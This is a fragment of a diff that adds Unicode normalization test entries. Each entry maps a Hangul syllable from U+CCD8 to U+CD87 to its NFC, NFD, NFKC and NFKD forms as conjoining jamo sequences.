+{ source: [0xCCD8], NFC: [0xCCD8], NFD: [0x110E, 0x1167, 0x11AF], NFKC: [0xCCD8], NFKD: [0x110E, 0x1167, 0x11AF] },
+{ source: [0xCCD9], NFC: [0xCCD9], NFD: [0x110E, 0x1167, 0x11B0], NFKC: [0xCCD9], NFKD: [0x110E, 0x1167, 0x11B0] },
+{ source: [0xCCDA], NFC: [0xCCDA], NFD: [0x110E, 0x1167, 0x11B1], NFKC: [0xCCDA], NFKD: [0x110E, 0x1167, 0x11B1] },
+{ source: [0xCCDB], NFC: [0xCCDB], NFD: [0x110E, 0x1167, 0x11B2], NFKC: [0xCCDB], NFKD: [0x110E, 0x1167, 0x11B2] },
+{ source: [0xCCDC], NFC: [0xCCDC], NFD: [0x110E, 0x1167, 0x11B3], NFKC: [0xCCDC], NFKD: [0x110E, 0x1167, 0x11B3] },
+{ source: [0xCCDD], NFC: [0xCCDD], NFD: [0x110E, 0x1167, 0x11B4], NFKC: [0xCCDD], NFKD: [0x110E, 0x1167, 0x11B4] },
+{ source: [0xCCDE], NFC: [0xCCDE], NFD: [0x110E, 0x1167, 0x11B5], NFKC: [0xCCDE], NFKD: [0x110E, 0x1167, 0x11B5] },
+{ source: [0xCCDF], NFC: [0xCCDF], NFD: [0x110E, 0x1167, 0x11B6], NFKC: [0xCCDF], NFKD: [0x110E, 0x1167, 0x11B6] },
+{ source: [0xCCE0], NFC: [0xCCE0], NFD: [0x110E, 0x1167, 0x11B7], NFKC: [0xCCE0], NFKD: [0x110E, 0x1167, 0x11B7] },
+{ source: [0xCCE1], NFC: [0xCCE1], NFD: [0x110E, 0x1167, 0x11B8], NFKC: [0xCCE1], NFKD: [0x110E, 0x1167, 0x11B8] },
+{ source: [0xCCE2], NFC: [0xCCE2], NFD: [0x110E, 0x1167, 0x11B9], NFKC: [0xCCE2], NFKD: [0x110E, 0x1167, 0x11B9] },
+{ source: [0xCCE3], NFC: [0xCCE3], NFD: [0x110E, 0x1167, 0x11BA], NFKC: [0xCCE3], NFKD: [0x110E, 0x1167, 0x11BA] },
+{ source: [0xCCE4], NFC: [0xCCE4], NFD: [0x110E, 0x1167, 0x11BB], NFKC: [0xCCE4], NFKD: [0x110E, 0x1167, 0x11BB] },
+{ source: [0xCCE5], NFC: [0xCCE5], NFD: [0x110E, 0x1167, 0x11BC], NFKC: [0xCCE5], NFKD: [0x110E, 0x1167, 0x11BC] },
+{ source: [0xCCE6], NFC: [0xCCE6], NFD: [0x110E, 0x1167, 0x11BD], NFKC: [0xCCE6], NFKD: [0x110E, 0x1167, 0x11BD] },
+{ source: [0xCCE7], NFC: [0xCCE7], NFD: [0x110E, 0x1167, 0x11BE], NFKC: [0xCCE7], NFKD: [0x110E, 0x1167, 0x11BE] },
+{ source: [0xCCE8], NFC: [0xCCE8], NFD: [0x110E, 0x1167, 0x11BF], NFKC: [0xCCE8], NFKD: [0x110E, 0x1167, 0x11BF] },
+{ source: [0xCCE9], NFC: [0xCCE9], NFD: [0x110E, 0x1167, 0x11C0], NFKC: [0xCCE9], NFKD: [0x110E, 0x1167, 0x11C0] },
+{ source: [0xCCEA], NFC: [0xCCEA], NFD: [0x110E, 0x1167, 0x11C1], NFKC: [0xCCEA], NFKD: [0x110E, 0x1167, 0x11C1] },
+{ source: [0xCCEB], NFC: [0xCCEB], NFD: [0x110E, 0x1167, 0x11C2], NFKC: [0xCCEB], NFKD: [0x110E, 0x1167, 0x11C2] },
+{ source: [0xCCEC], NFC: [0xCCEC], NFD: [0x110E, 0x1168], NFKC: [0xCCEC], NFKD: [0x110E, 0x1168] },
+{ source: [0xCCED], NFC: [0xCCED], NFD: [0x110E, 0x1168, 0x11A8], NFKC: [0xCCED], NFKD: [0x110E, 0x1168, 0x11A8] },
+{ source: [0xCCEE], NFC: [0xCCEE], NFD: [0x110E, 0x1168, 0x11A9], NFKC: [0xCCEE], NFKD: [0x110E, 0x1168, 0x11A9] },
+{ source: [0xCCEF], NFC: [0xCCEF], NFD: [0x110E, 0x1168, 0x11AA], NFKC: [0xCCEF], NFKD: [0x110E, 0x1168, 0x11AA] },
+{ source: [0xCCF0], NFC: [0xCCF0], NFD: [0x110E, 0x1168, 0x11AB], NFKC: [0xCCF0], NFKD: [0x110E, 0x1168, 0x11AB] },
+{ source: [0xCCF1], NFC: [0xCCF1], NFD: [0x110E, 0x1168, 0x11AC], NFKC: [0xCCF1], NFKD: [0x110E, 0x1168, 0x11AC] },
+{ source: [0xCCF2], NFC: [0xCCF2], NFD: [0x110E, 0x1168, 0x11AD], NFKC: [0xCCF2], NFKD: [0x110E, 0x1168, 0x11AD] },
+{ source: [0xCCF3], NFC: [0xCCF3], NFD: [0x110E, 0x1168, 0x11AE], NFKC: [0xCCF3], NFKD: [0x110E, 0x1168, 0x11AE] },
+{ source: [0xCCF4], NFC: [0xCCF4], NFD: [0x110E, 0x1168, 0x11AF], NFKC: [0xCCF4], NFKD: [0x110E, 0x1168, 0x11AF] },
+{ source: [0xCCF5], NFC: [0xCCF5], NFD: [0x110E, 0x1168, 0x11B0], NFKC: [0xCCF5], NFKD: [0x110E, 0x1168, 0x11B0] },
+{ source: [0xCCF6], NFC: [0xCCF6], NFD: [0x110E, 0x1168, 0x11B1], NFKC: [0xCCF6], NFKD: [0x110E, 0x1168, 0x11B1] },
+{ source: [0xCCF7], NFC: [0xCCF7], NFD: [0x110E, 0x1168, 0x11B2], NFKC: [0xCCF7], NFKD: [0x110E, 0x1168, 0x11B2] },
+{ source: [0xCCF8], NFC: [0xCCF8], NFD: [0x110E, 0x1168, 0x11B3], NFKC: [0xCCF8], NFKD: [0x110E, 0x1168, 0x11B3] },
+{ source: [0xCCF9], NFC: [0xCCF9], NFD: [0x110E, 0x1168, 0x11B4], NFKC: [0xCCF9], NFKD: [0x110E, 0x1168, 0x11B4] },
+{ source: [0xCCFA], NFC: [0xCCFA], NFD: [0x110E, 0x1168, 0x11B5], NFKC: [0xCCFA], NFKD: [0x110E, 0x1168, 0x11B5] },
+{ source: [0xCCFB], NFC: [0xCCFB], NFD: [0x110E, 0x1168, 0x11B6], NFKC: [0xCCFB], NFKD: [0x110E, 0x1168, 0x11B6] },
+{ source: [0xCCFC], NFC: [0xCCFC], NFD: [0x110E, 0x1168, 0x11B7], NFKC: [0xCCFC], NFKD: [0x110E, 0x1168, 0x11B7] },
+{ source: [0xCCFD], NFC: [0xCCFD], NFD: [0x110E, 0x1168, 0x11B8], NFKC: [0xCCFD], NFKD: [0x110E, 0x1168, 0x11B8] },
+{ source: [0xCCFE], NFC: [0xCCFE], NFD: [0x110E, 0x1168, 0x11B9], NFKC: [0xCCFE], NFKD: [0x110E, 0x1168, 0x11B9] },
+{ source: [0xCCFF], NFC: [0xCCFF], NFD: [0x110E, 0x1168, 0x11BA], NFKC: [0xCCFF], NFKD: [0x110E, 0x1168, 0x11BA] },
+{ source: [0xCD00], NFC: [0xCD00], NFD: [0x110E, 0x1168, 0x11BB], NFKC: [0xCD00], NFKD: [0x110E, 0x1168, 0x11BB] },
+{ source: [0xCD01], NFC: [0xCD01], NFD: [0x110E, 0x1168, 0x11BC], NFKC: [0xCD01], NFKD: [0x110E, 0x1168, 0x11BC] },
+{ source: [0xCD02], NFC: [0xCD02], NFD: [0x110E, 0x1168, 0x11BD], NFKC: [0xCD02], NFKD: [0x110E, 0x1168, 0x11BD] },
+{ source: [0xCD03], NFC: [0xCD03], NFD: [0x110E, 0x1168, 0x11BE], NFKC: [0xCD03], NFKD: [0x110E, 0x1168, 0x11BE] },
+{ source: [0xCD04], NFC: [0xCD04], NFD: [0x110E, 0x1168, 0x11BF], NFKC: [0xCD04], NFKD: [0x110E, 0x1168, 0x11BF] },
+{ source: [0xCD05], NFC: [0xCD05], NFD: [0x110E, 0x1168, 0x11C0], NFKC: [0xCD05], NFKD: [0x110E, 0x1168, 0x11C0] },
+{ source: [0xCD06], NFC: [0xCD06], NFD: [0x110E, 0x1168, 0x11C1], NFKC: [0xCD06], NFKD: [0x110E, 0x1168, 0x11C1] },
+{ source: [0xCD07], NFC: [0xCD07], NFD: [0x110E, 0x1168, 0x11C2], NFKC: [0xCD07], NFKD: [0x110E, 0x1168, 0x11C2] },
+{ source: [0xCD08], NFC: [0xCD08], NFD: [0x110E, 0x1169], NFKC: [0xCD08], NFKD: [0x110E, 0x1169] },
+{ source: [0xCD09], NFC: [0xCD09], NFD: [0x110E, 0x1169, 0x11A8], NFKC: [0xCD09], NFKD: [0x110E, 0x1169, 0x11A8] },
+{ source: [0xCD0A], NFC: [0xCD0A], NFD: [0x110E, 0x1169, 0x11A9], NFKC: [0xCD0A], NFKD: [0x110E, 0x1169, 0x11A9] },
+{ source: [0xCD0B], NFC: [0xCD0B], NFD: [0x110E, 0x1169, 0x11AA], NFKC: [0xCD0B], NFKD: [0x110E, 0x1169, 0x11AA] },
+{ source: [0xCD0C], NFC: [0xCD0C], NFD: [0x110E, 0x1169, 0x11AB], NFKC: [0xCD0C], NFKD: [0x110E, 0x1169, 0x11AB] },
+{ source: [0xCD0D], NFC: [0xCD0D], NFD: [0x110E, 0x1169, 0x11AC], NFKC: [0xCD0D], NFKD: [0x110E, 0x1169, 0x11AC] },
+{ source: [0xCD0E], NFC: [0xCD0E], NFD: [0x110E, 0x1169, 0x11AD], NFKC: [0xCD0E], NFKD: [0x110E, 0x1169, 0x11AD] },
+{ source: [0xCD0F], NFC: [0xCD0F], NFD: [0x110E, 0x1169, 0x11AE], NFKC: [0xCD0F], NFKD: [0x110E, 0x1169, 0x11AE] },
+{ source: [0xCD10], NFC: [0xCD10], NFD: [0x110E, 0x1169, 0x11AF], NFKC: [0xCD10], NFKD: [0x110E, 0x1169, 0x11AF] },
+{ source: [0xCD11], NFC: [0xCD11], NFD: [0x110E, 0x1169, 0x11B0], NFKC: [0xCD11], NFKD: [0x110E, 0x1169, 0x11B0] },
+{ source: [0xCD12], NFC: [0xCD12], NFD: [0x110E, 0x1169, 0x11B1], NFKC: [0xCD12], NFKD: [0x110E, 0x1169, 0x11B1] },
+{ source: [0xCD13], NFC: [0xCD13], NFD: [0x110E, 0x1169, 0x11B2], NFKC: [0xCD13], NFKD: [0x110E, 0x1169, 0x11B2] },
+{ source: [0xCD14], NFC: [0xCD14], NFD: [0x110E, 0x1169, 0x11B3], NFKC: [0xCD14], NFKD: [0x110E, 0x1169, 0x11B3] },
+{ source: [0xCD15], NFC: [0xCD15], NFD: [0x110E, 0x1169, 0x11B4], NFKC: [0xCD15], NFKD: [0x110E, 0x1169, 0x11B4] },
+{ source: [0xCD16], NFC: [0xCD16], NFD: [0x110E, 0x1169, 0x11B5], NFKC: [0xCD16], NFKD: [0x110E, 0x1169, 0x11B5] },
+{ source: [0xCD17], NFC: [0xCD17], NFD: [0x110E, 0x1169, 0x11B6], NFKC: [0xCD17], NFKD: [0x110E, 0x1169, 0x11B6] },
+{ source: [0xCD18], NFC: [0xCD18], NFD: [0x110E, 0x1169, 0x11B7], NFKC: [0xCD18], NFKD: [0x110E, 0x1169, 0x11B7] },
+{ source: [0xCD19], NFC: [0xCD19], NFD: [0x110E, 0x1169, 0x11B8], NFKC: [0xCD19], NFKD: [0x110E, 0x1169, 0x11B8] },
+{ source: [0xCD1A], NFC: [0xCD1A], NFD: [0x110E, 0x1169, 0x11B9], NFKC: [0xCD1A], NFKD: [0x110E, 0x1169, 0x11B9] },
+{ source: [0xCD1B], NFC: [0xCD1B], NFD: [0x110E, 0x1169, 0x11BA], NFKC: [0xCD1B], NFKD: [0x110E, 0x1169, 0x11BA] },
+{ source: [0xCD1C], NFC: [0xCD1C], NFD: [0x110E, 0x1169, 0x11BB], NFKC: [0xCD1C], NFKD: [0x110E, 0x1169, 0x11BB] },
+{ source: [0xCD1D], NFC: [0xCD1D], NFD: [0x110E, 0x1169, 0x11BC], NFKC: [0xCD1D], NFKD: [0x110E, 0x1169, 0x11BC] },
+{ source: [0xCD1E], NFC: [0xCD1E], NFD: [0x110E, 0x1169, 0x11BD], NFKC: [0xCD1E], NFKD: [0x110E, 0x1169, 0x11BD] },
+{ source: [0xCD1F], NFC: [0xCD1F], NFD: [0x110E, 0x1169, 0x11BE], NFKC: [0xCD1F], NFKD: [0x110E, 0x1169, 0x11BE] },
+{ source: [0xCD20], NFC: [0xCD20], NFD: [0x110E, 0x1169, 0x11BF], NFKC: [0xCD20], NFKD: [0x110E, 0x1169, 0x11BF] },
+{ source: [0xCD21], NFC: [0xCD21], NFD: [0x110E, 0x1169, 0x11C0], NFKC: [0xCD21], NFKD: [0x110E, 0x1169, 0x11C0] },
+{ source: [0xCD22], NFC: [0xCD22], NFD: [0x110E, 0x1169, 0x11C1], NFKC: [0xCD22], NFKD: [0x110E, 0x1169, 0x11C1] },
+{ source: [0xCD23], NFC: [0xCD23], NFD: [0x110E, 0x1169, 0x11C2], NFKC: [0xCD23], NFKD: [0x110E, 0x1169, 0x11C2] },
+{ source: [0xCD24], NFC: [0xCD24], NFD: [0x110E, 0x116A], NFKC: [0xCD24], NFKD: [0x110E, 0x116A] },
+{ source: [0xCD25], NFC: [0xCD25], NFD: [0x110E, 0x116A, 0x11A8], NFKC: [0xCD25], NFKD: [0x110E, 0x116A, 0x11A8] },
+{ source: [0xCD26], NFC: [0xCD26], NFD: [0x110E, 0x116A, 0x11A9], NFKC: [0xCD26], NFKD: [0x110E, 0x116A, 0x11A9] },
+{ source: [0xCD27], NFC: [0xCD27], NFD: [0x110E, 0x116A, 0x11AA], NFKC: [0xCD27], NFKD: [0x110E, 0x116A, 0x11AA] },
+{ source: [0xCD28], NFC: [0xCD28], NFD: [0x110E, 0x116A, 0x11AB], NFKC: [0xCD28], NFKD: [0x110E, 0x116A, 0x11AB] },
+{ source: [0xCD29], NFC: [0xCD29], NFD: [0x110E, 0x116A, 0x11AC], NFKC: [0xCD29], NFKD: [0x110E, 0x116A, 0x11AC] },
+{ source: [0xCD2A], NFC: [0xCD2A], NFD: [0x110E, 0x116A, 0x11AD], NFKC: [0xCD2A], NFKD: [0x110E, 0x116A, 0x11AD] },
+{ source: [0xCD2B], NFC: [0xCD2B], NFD: [0x110E, 0x116A, 0x11AE], NFKC: [0xCD2B], NFKD: [0x110E, 0x116A, 0x11AE] },
+{ source: [0xCD2C], NFC: [0xCD2C], NFD: [0x110E, 0x116A, 0x11AF], NFKC: [0xCD2C], NFKD: [0x110E, 0x116A, 0x11AF] },
+{ source: [0xCD2D], NFC: [0xCD2D], NFD: [0x110E, 0x116A, 0x11B0], NFKC: [0xCD2D], NFKD: [0x110E, 0x116A, 0x11B0] },
+{ source: [0xCD2E], NFC: [0xCD2E], NFD: [0x110E, 0x116A, 0x11B1], NFKC: [0xCD2E], NFKD: [0x110E, 0x116A, 0x11B1] },
+{ source: [0xCD2F], NFC: [0xCD2F], NFD: [0x110E, 0x116A, 0x11B2], NFKC: [0xCD2F], NFKD: [0x110E, 0x116A, 0x11B2] },
+{ source: [0xCD30], NFC: [0xCD30], NFD: [0x110E, 0x116A, 0x11B3], NFKC: [0xCD30], NFKD: [0x110E, 0x116A, 0x11B3] },
+{ source: [0xCD31], NFC: [0xCD31], NFD: [0x110E, 0x116A, 0x11B4], NFKC: [0xCD31], NFKD: [0x110E, 0x116A, 0x11B4] },
+{ source: [0xCD32], NFC: [0xCD32], NFD: [0x110E, 0x116A, 0x11B5], NFKC: [0xCD32], NFKD: [0x110E, 0x116A, 0x11B5] },
+{ source: [0xCD33], NFC: [0xCD33], NFD: [0x110E, 0x116A, 0x11B6], NFKC: [0xCD33], NFKD: [0x110E, 0x116A, 0x11B6] },
+{ source: [0xCD34], NFC: [0xCD34], NFD: [0x110E, 0x116A, 0x11B7], NFKC: [0xCD34], NFKD: [0x110E, 0x116A, 0x11B7] },
+{ source: [0xCD35], NFC: [0xCD35], NFD: [0x110E, 0x116A, 0x11B8], NFKC: [0xCD35], NFKD: [0x110E, 0x116A, 0x11B8] },
+{ source: [0xCD36], NFC: [0xCD36], NFD: [0x110E, 0x116A, 0x11B9], NFKC: [0xCD36], NFKD: [0x110E, 0x116A, 0x11B9] },
+{ source: [0xCD37], NFC: [0xCD37], NFD: [0x110E, 0x116A, 0x11BA], NFKC: [0xCD37], NFKD: [0x110E, 0x116A, 0x11BA] },
+{ source: [0xCD38], NFC: [0xCD38], NFD: [0x110E, 0x116A, 0x11BB], NFKC: [0xCD38], NFKD: [0x110E, 0x116A, 0x11BB] },
+{ source: [0xCD39], NFC: [0xCD39], NFD: [0x110E, 0x116A, 0x11BC], NFKC: [0xCD39], NFKD: [0x110E, 0x116A, 0x11BC] },
+{ source: [0xCD3A], NFC: [0xCD3A], NFD: [0x110E, 0x116A, 0x11BD], NFKC: [0xCD3A], NFKD: [0x110E, 0x116A, 0x11BD] },
+{ source: [0xCD3B], NFC: [0xCD3B], NFD: [0x110E, 0x116A, 0x11BE], NFKC: [0xCD3B], NFKD: [0x110E, 0x116A, 0x11BE] },
+{ source: [0xCD3C], NFC: [0xCD3C], NFD: [0x110E, 0x116A, 0x11BF], NFKC: [0xCD3C], NFKD: [0x110E, 0x116A, 0x11BF] },
+{ source: [0xCD3D], NFC: [0xCD3D], NFD: [0x110E, 0x116A, 0x11C0], NFKC: [0xCD3D], NFKD: [0x110E, 0x116A, 0x11C0] },
+{ source: [0xCD3E], NFC: [0xCD3E], NFD: [0x110E, 0x116A, 0x11C1], NFKC: [0xCD3E], NFKD: [0x110E, 0x116A, 0x11C1] },
+{ source: [0xCD3F], NFC: [0xCD3F], NFD: [0x110E, 0x116A, 0x11C2], NFKC: [0xCD3F], NFKD: [0x110E, 0x116A, 0x11C2] },
+{ source: [0xCD40], NFC: [0xCD40], NFD: [0x110E, 0x116B], NFKC: [0xCD40], NFKD: [0x110E, 0x116B] },
+{ source: [0xCD41], NFC: [0xCD41], NFD: [0x110E, 0x116B, 0x11A8], NFKC: [0xCD41], NFKD: [0x110E, 0x116B, 0x11A8] },
+{ source: [0xCD42], NFC: [0xCD42], NFD: [0x110E, 0x116B, 0x11A9], NFKC: [0xCD42], NFKD: [0x110E, 0x116B, 0x11A9] },
+{ source: [0xCD43], NFC: [0xCD43], NFD: [0x110E, 0x116B, 0x11AA], NFKC: [0xCD43], NFKD: [0x110E, 0x116B, 0x11AA] },
+{ source: [0xCD44], NFC: [0xCD44], NFD: [0x110E, 0x116B, 0x11AB], NFKC: [0xCD44], NFKD: [0x110E, 0x116B, 0x11AB] },
+{ source: [0xCD45], NFC: [0xCD45], NFD: [0x110E, 0x116B, 0x11AC], NFKC: [0xCD45], NFKD: [0x110E, 0x116B, 0x11AC] },
+{ source: [0xCD46], NFC: [0xCD46], NFD: [0x110E, 0x116B, 0x11AD], NFKC: [0xCD46], NFKD: [0x110E, 0x116B, 0x11AD] },
+{ source: [0xCD47], NFC: [0xCD47], NFD: [0x110E, 0x116B, 0x11AE], NFKC: [0xCD47], NFKD: [0x110E, 0x116B, 0x11AE] },
+{ source: [0xCD48], NFC: [0xCD48], NFD: [0x110E, 0x116B, 0x11AF], NFKC: [0xCD48], NFKD: [0x110E, 0x116B, 0x11AF] },
+{ source: [0xCD49], NFC: [0xCD49], NFD: [0x110E, 0x116B, 0x11B0], NFKC: [0xCD49], NFKD: [0x110E, 0x116B, 0x11B0] },
+{ source: [0xCD4A], NFC: [0xCD4A], NFD: [0x110E, 0x116B, 0x11B1], NFKC: [0xCD4A], NFKD: [0x110E, 0x116B, 0x11B1] },
+{ source: [0xCD4B], NFC: [0xCD4B], NFD: [0x110E, 0x116B, 0x11B2], NFKC: [0xCD4B], NFKD: [0x110E, 0x116B, 0x11B2] },
+{ source: [0xCD4C], NFC: [0xCD4C], NFD: [0x110E, 0x116B, 0x11B3], NFKC: [0xCD4C], NFKD: [0x110E, 0x116B, 0x11B3] },
+{ source: [0xCD4D], NFC: [0xCD4D], NFD: [0x110E, 0x116B, 0x11B4], NFKC: [0xCD4D], NFKD: [0x110E, 0x116B, 0x11B4] },
+{ source: [0xCD4E], NFC: [0xCD4E], NFD: [0x110E, 0x116B, 0x11B5], NFKC: [0xCD4E], NFKD: [0x110E, 0x116B, 0x11B5] },
+{ source: [0xCD4F], NFC: [0xCD4F], NFD: [0x110E, 0x116B, 0x11B6], NFKC: [0xCD4F], NFKD: [0x110E, 0x116B, 0x11B6] },
+{ source: [0xCD50], NFC: [0xCD50], NFD: [0x110E, 0x116B, 0x11B7], NFKC: [0xCD50], NFKD: [0x110E, 0x116B, 0x11B7] },
+{ source: [0xCD51], NFC: [0xCD51], NFD: [0x110E, 0x116B, 0x11B8], NFKC: [0xCD51], NFKD: [0x110E, 0x116B, 0x11B8] },
+{ source: [0xCD52], NFC: [0xCD52], NFD: [0x110E, 0x116B, 0x11B9], NFKC: [0xCD52], NFKD: [0x110E, 0x116B, 0x11B9] },
+{ source: [0xCD53], NFC: [0xCD53], NFD: [0x110E, 0x116B, 0x11BA], NFKC: [0xCD53], NFKD: [0x110E, 0x116B, 0x11BA] },
+{ source: [0xCD54], NFC: [0xCD54], NFD: [0x110E, 0x116B, 0x11BB], NFKC: [0xCD54], NFKD: [0x110E, 0x116B, 0x11BB] },
+{ source: [0xCD55], NFC: [0xCD55], NFD: [0x110E, 0x116B, 0x11BC], NFKC: [0xCD55], NFKD: [0x110E, 0x116B, 0x11BC] },
+{ source: [0xCD56], NFC: [0xCD56], NFD: [0x110E, 0x116B, 0x11BD], NFKC: [0xCD56], NFKD: [0x110E, 0x116B, 0x11BD] },
+{ source: [0xCD57], NFC: [0xCD57], NFD: [0x110E, 0x116B, 0x11BE], NFKC: [0xCD57], NFKD: [0x110E, 0x116B, 0x11BE] },
+{ source: [0xCD58], NFC: [0xCD58], NFD: [0x110E, 0x116B, 0x11BF], NFKC: [0xCD58], NFKD: [0x110E, 0x116B, 0x11BF] },
+{ source: [0xCD59], NFC: [0xCD59], NFD: [0x110E, 0x116B, 0x11C0], NFKC: [0xCD59], NFKD: [0x110E, 0x116B, 0x11C0] },
+{ source: [0xCD5A], NFC: [0xCD5A], NFD: [0x110E, 0x116B, 0x11C1], NFKC: [0xCD5A], NFKD: [0x110E, 0x116B, 0x11C1] },
+{ source: [0xCD5B], NFC: [0xCD5B], NFD: [0x110E, 0x116B, 0x11C2], NFKC: [0xCD5B], NFKD: [0x110E, 0x116B, 0x11C2] },
+{ source: [0xCD5C], NFC: [0xCD5C], NFD: [0x110E, 0x116C], NFKC: [0xCD5C], NFKD: [0x110E, 0x116C] },
+{ source: [0xCD5D], NFC: [0xCD5D], NFD: [0x110E, 0x116C, 0x11A8], NFKC: [0xCD5D], NFKD: [0x110E, 0x116C, 0x11A8] },
+{ source: [0xCD5E], NFC: [0xCD5E], NFD: [0x110E, 0x116C, 0x11A9], NFKC: [0xCD5E], NFKD: [0x110E, 0x116C, 0x11A9] },
+{ source: [0xCD5F], NFC: [0xCD5F], NFD: [0x110E, 0x116C, 0x11AA], NFKC: [0xCD5F], NFKD: [0x110E, 0x116C, 0x11AA] },
+{ source: [0xCD60], NFC: [0xCD60], NFD: [0x110E, 0x116C, 0x11AB], NFKC: [0xCD60], NFKD: [0x110E, 0x116C, 0x11AB] },
+{ source: [0xCD61], NFC: [0xCD61], NFD: [0x110E, 0x116C, 0x11AC], NFKC: [0xCD61], NFKD: [0x110E, 0x116C, 0x11AC] },
+{ source: [0xCD62], NFC: [0xCD62], NFD: [0x110E, 0x116C, 0x11AD], NFKC: [0xCD62], NFKD: [0x110E, 0x116C, 0x11AD] },
+{ source: [0xCD63], NFC: [0xCD63], NFD: [0x110E, 0x116C, 0x11AE], NFKC: [0xCD63], NFKD: [0x110E, 0x116C, 0x11AE] },
+{ source: [0xCD64], NFC: [0xCD64], NFD: [0x110E, 0x116C, 0x11AF], NFKC: [0xCD64], NFKD: [0x110E, 0x116C, 0x11AF] },
+{ source: [0xCD65], NFC: [0xCD65], NFD: [0x110E, 0x116C, 0x11B0], NFKC: [0xCD65], NFKD: [0x110E, 0x116C, 0x11B0] },
+{ source: [0xCD66], NFC: [0xCD66], NFD: [0x110E, 0x116C, 0x11B1], NFKC: [0xCD66], NFKD: [0x110E, 0x116C, 0x11B1] },
+{ source: [0xCD67], NFC: [0xCD67], NFD: [0x110E, 0x116C, 0x11B2], NFKC: [0xCD67], NFKD: [0x110E, 0x116C, 0x11B2] },
+{ source: [0xCD68], NFC: [0xCD68], NFD: [0x110E, 0x116C, 0x11B3], NFKC: [0xCD68], NFKD: [0x110E, 0x116C, 0x11B3] },
+{ source: [0xCD69], NFC: [0xCD69], NFD: [0x110E, 0x116C, 0x11B4], NFKC: [0xCD69], NFKD: [0x110E, 0x116C, 0x11B4] },
+{ source: [0xCD6A], NFC: [0xCD6A], NFD: [0x110E, 0x116C, 0x11B5], NFKC: [0xCD6A], NFKD: [0x110E, 0x116C, 0x11B5] },
+{ source: [0xCD6B], NFC: [0xCD6B], NFD: [0x110E, 0x116C, 0x11B6], NFKC: [0xCD6B], NFKD: [0x110E, 0x116C, 0x11B6] },
+{ source: [0xCD6C], NFC: [0xCD6C], NFD: [0x110E, 0x116C, 0x11B7], NFKC: [0xCD6C], NFKD: [0x110E, 0x116C, 0x11B7] },
+{ source: [0xCD6D], NFC: [0xCD6D], NFD: [0x110E, 0x116C, 0x11B8], NFKC: [0xCD6D], NFKD: [0x110E, 0x116C, 0x11B8] },
+{ source: [0xCD6E], NFC: [0xCD6E], NFD: [0x110E, 0x116C, 0x11B9], NFKC: [0xCD6E], NFKD: [0x110E, 0x116C, 0x11B9] },
+{ source: [0xCD6F], NFC: [0xCD6F], NFD: [0x110E, 0x116C, 0x11BA], NFKC: [0xCD6F], NFKD: [0x110E, 0x116C, 0x11BA] },
+{ source: [0xCD70], NFC: [0xCD70], NFD: [0x110E, 0x116C, 0x11BB], NFKC: [0xCD70], NFKD: [0x110E, 0x116C, 0x11BB] },
+{ source: [0xCD71], NFC: [0xCD71], NFD: [0x110E, 0x116C, 0x11BC], NFKC: [0xCD71], NFKD: [0x110E, 0x116C, 0x11BC] },
+{ source: [0xCD72], NFC: [0xCD72], NFD: [0x110E, 0x116C, 0x11BD], NFKC: [0xCD72], NFKD: [0x110E, 0x116C, 0x11BD] },
+{ source: [0xCD73], NFC: [0xCD73], NFD: [0x110E, 0x116C, 0x11BE], NFKC: [0xCD73], NFKD: [0x110E, 0x116C, 0x11BE] },
+{ source: [0xCD74], NFC: [0xCD74], NFD: [0x110E, 0x116C, 0x11BF], NFKC: [0xCD74], NFKD: [0x110E, 0x116C, 0x11BF] },
+{ source: [0xCD75], NFC: [0xCD75], NFD: [0x110E, 0x116C, 0x11C0], NFKC: [0xCD75], NFKD: [0x110E, 0x116C, 0x11C0] },
+{ source: [0xCD76], NFC: [0xCD76], NFD: [0x110E, 0x116C, 0x11C1], NFKC: [0xCD76], NFKD: [0x110E, 0x116C, 0x11C1] },
+{ source: [0xCD77], NFC: [0xCD77], NFD: [0x110E, 0x116C, 0x11C2], NFKC: [0xCD77], NFKD: [0x110E, 0x116C, 0x11C2] },
+{ source: [0xCD78], NFC: [0xCD78], NFD: [0x110E, 0x116D], NFKC: [0xCD78], NFKD: [0x110E, 0x116D] },
+{ source: [0xCD79], NFC: [0xCD79], NFD: [0x110E, 0x116D, 0x11A8], NFKC: [0xCD79], NFKD: [0x110E, 0x116D, 0x11A8] },
+{ source: [0xCD7A], NFC: [0xCD7A], NFD: [0x110E, 0x116D, 0x11A9], NFKC: [0xCD7A], NFKD: [0x110E, 0x116D, 0x11A9] },
+{ source: [0xCD7B], NFC: [0xCD7B], NFD: [0x110E, 0x116D, 0x11AA], NFKC: [0xCD7B], NFKD: [0x110E, 0x116D, 0x11AA] },
+{ source: [0xCD7C], NFC: [0xCD7C], NFD: [0x110E, 0x116D, 0x11AB], NFKC: [0xCD7C], NFKD: [0x110E, 0x116D, 0x11AB] },
+{ source: [0xCD7D], NFC: [0xCD7D], NFD: [0x110E, 0x116D, 0x11AC], NFKC: [0xCD7D], NFKD: [0x110E, 0x116D, 0x11AC] },
+{ source: [0xCD7E], NFC: [0xCD7E], NFD: [0x110E, 0x116D, 0x11AD], NFKC: [0xCD7E], NFKD: [0x110E, 0x116D, 0x11AD] },
+{ source: [0xCD7F], NFC: [0xCD7F], NFD: [0x110E, 0x116D, 0x11AE], NFKC: [0xCD7F], NFKD: [0x110E, 0x116D, 0x11AE] },
+{ source: [0xCD80], NFC: [0xCD80], NFD: [0x110E, 0x116D, 0x11AF], NFKC: [0xCD80], NFKD: [0x110E, 0x116D, 0x11AF] },
+{ source: [0xCD81], NFC: [0xCD81], NFD: [0x110E, 0x116D, 0x11B0], NFKC: [0xCD81], NFKD: [0x110E, 0x116D, 0x11B0] },
+{ source: [0xCD82], NFC: [0xCD82], NFD: [0x110E, 0x116D, 0x11B1], NFKC: [0xCD82], NFKD: [0x110E, 0x116D, 0x11B1] },
+{ source: [0xCD83], NFC: [0xCD83], NFD: [0x110E, 0x116D, 0x11B2], NFKC: [0xCD83], NFKD: [0x110E, 0x116D, 0x11B2] },
+{ source: [0xCD84], NFC: [0xCD84], NFD: [0x110E, 0x116D, 0x11B3], NFKC: [0xCD84], NFKD: [0x110E, 0x116D, 0x11B3] },
+{ source: [0xCD85], NFC: [0xCD85], NFD: [0x110E, 0x116D, 0x11B4], NFKC: [0xCD85], NFKD: [0x110E, 0x116D, 0x11B4] },
+{ source: [0xCD86], NFC: [0xCD86], NFD: [0x110E, 0x116D, 0x11B5], NFKC: [0xCD86], NFKD: [0x110E, 0x116D, 0x11B5] },
+{ source: [0xCD87], NFC: [0xCD87], NFD: [0x110E, 0x116D, 0x11B6], NFKC: [0xCD87], NFKD: [0x110E, 0x116D, 0x11B6] },
